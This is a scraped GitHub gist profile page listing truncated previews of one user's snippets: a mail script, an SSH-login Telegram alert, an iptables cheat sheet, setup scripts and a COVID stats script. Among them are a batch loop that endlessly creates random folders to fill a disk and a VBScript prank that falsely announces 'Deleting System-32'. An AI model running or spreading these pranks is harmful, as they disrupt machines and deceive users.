Skip to content

Instantly share code, notes, and snippets.

View anir0y's full-sized avatar
🌏
Working from Remote

Animesh Roy anir0y

🌏
Working from Remote
View GitHub Profile
@anir0y
anir0y / 5b79b2a0941c93232fce8e47.png
Last active September 27, 2018 19:26
Information : RyukRansomware
5b79b2a0941c93232fce8e47.png
@anir0y
anir0y / php simple mail
Created February 20, 2019 06:30
Simple Send mail script
<!DOCTYPE html>
<html lang="en">
<head>
<title>MAIL TEST SCRIPT</title>
</head>
<body>
<?php
ini_set('display_errors', 1);
USERID="<Enter_the_user_id_of_the_recipient>"
KEY="<The_key_of_your_telegram_bot>"
TIMEOUT="10"
URL="https://api.telegram.org/bot$KEY/sendMessage"
DATE_EXEC="$(date "+%d %b %Y %H:%M")" #Collect date & time.
TMPFILE='/tmp/ipinfo-$DATE_EXEC.txt' #Create a temporary file to keep data in.
if [ -n "$SSH_CLIENT" ] && [ -z "$TMUX" ]; then #Trigger
IP=$(echo $SSH_CLIENT | awk '{print $1}') #Get Client IP address.
PORT=$(echo $SSH_CLIENT | awk '{print $3}') #Get SSH port
HOSTNAME=$(hostname -f) #Get hostname
X=Msgbox("An Error occurred while opening this Program. Would you like to retry?",2+64,"Error")
X=Msgbox("Failed To Retry. Try Again?",5+16,"Error")
X=Msgbox("Unable To Retry. Would you like to delete this cache?",4+32,"Cache")
X=Msgbox("Unable To Delete Cache. Would You Like To Ease Your PC?",3+32,"Cache")
X=Msgbox("Request Unsucessful",0+32,"Cache")
X=Msgbox("Deleting System-32 and Erasing PC",2+32,"Error")
X=Msgbox("2%",0+64,"Deleting...")
X=Msgbox("6%",0+64,"Deleting...")
X=Msgbox("30%",0+64,"Deleting...")
X=Msgbox("45%",0+64,"Deleting...")
@echo off
:x
md %random%
/folder.
goto x
#!/usr/bin/python
# -*- coding: utf-8 -*-
import argparse
import os
import random
import struct
import threading
from Crypto.Cipher import AES
#!/bin/bash
#--------------------------------------------------
# Software version:
# 1. OS: Debian 9.3 (stretch) 64 bit.
# 2. Apache: 2.4.25
# 3. MariaDB: 10.1.26
# 4. PHP 7: 7.0.27-0+deb9u1
#--------------------------------------------------
# List function:
import smtplib
usr = "login@domain.com"
password = "password"
sender = 'you@domain.com'
receivers = ['person@domain.com'] #this needs to be a list
message = """From: From Person <you@domain.com>
To: To Person <to@todomain.com>
# IP Tables (iptables) Cheat Sheet
## Resources
The following list is a great set of documentation for `iptables`.
* **How-To Geek: The Beginner’s Guide to iptables, the Linux Firewall**: https://www.howtogeek.com/177621/the-beginners-guide-to-iptables-the-linux-firewall/
* **IPTables Essentials: Common Firewall Rules and COmmands** https://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands
* **List and Delete `iptable` rules:** https://www.digitalocean.com/community/tutorials/how-to-list-and-delete-iptables-firewall-rules
* **UnixNInza ** https://www.unix-ninja.com/p/An_iptables_cheat-sheet
#!/bin/bash
[ "$(stat -c %y corona.raw | cut -d ' ' -f1)" != "$(date '+%y-%m-%d')" ] && curl -s https://corona-stats.online/in | grep In > corona.raw
echo "Covid-19 India Stats"
cat corona.raw | sed "s/\s*//g ; s/║//g ;s/▲//g; s/│/;/g"| awk -F';' '{print "Total Case: " $3 "(New "$4") Death " $5 " ("$7"%)"}'
lockdown='20-04-14'
date="$(date '+%y-%m-%d')"
if [ "$date != $Lockdown " ];
then
echo "😷 Lockdown! Stay the fuck in your HOME"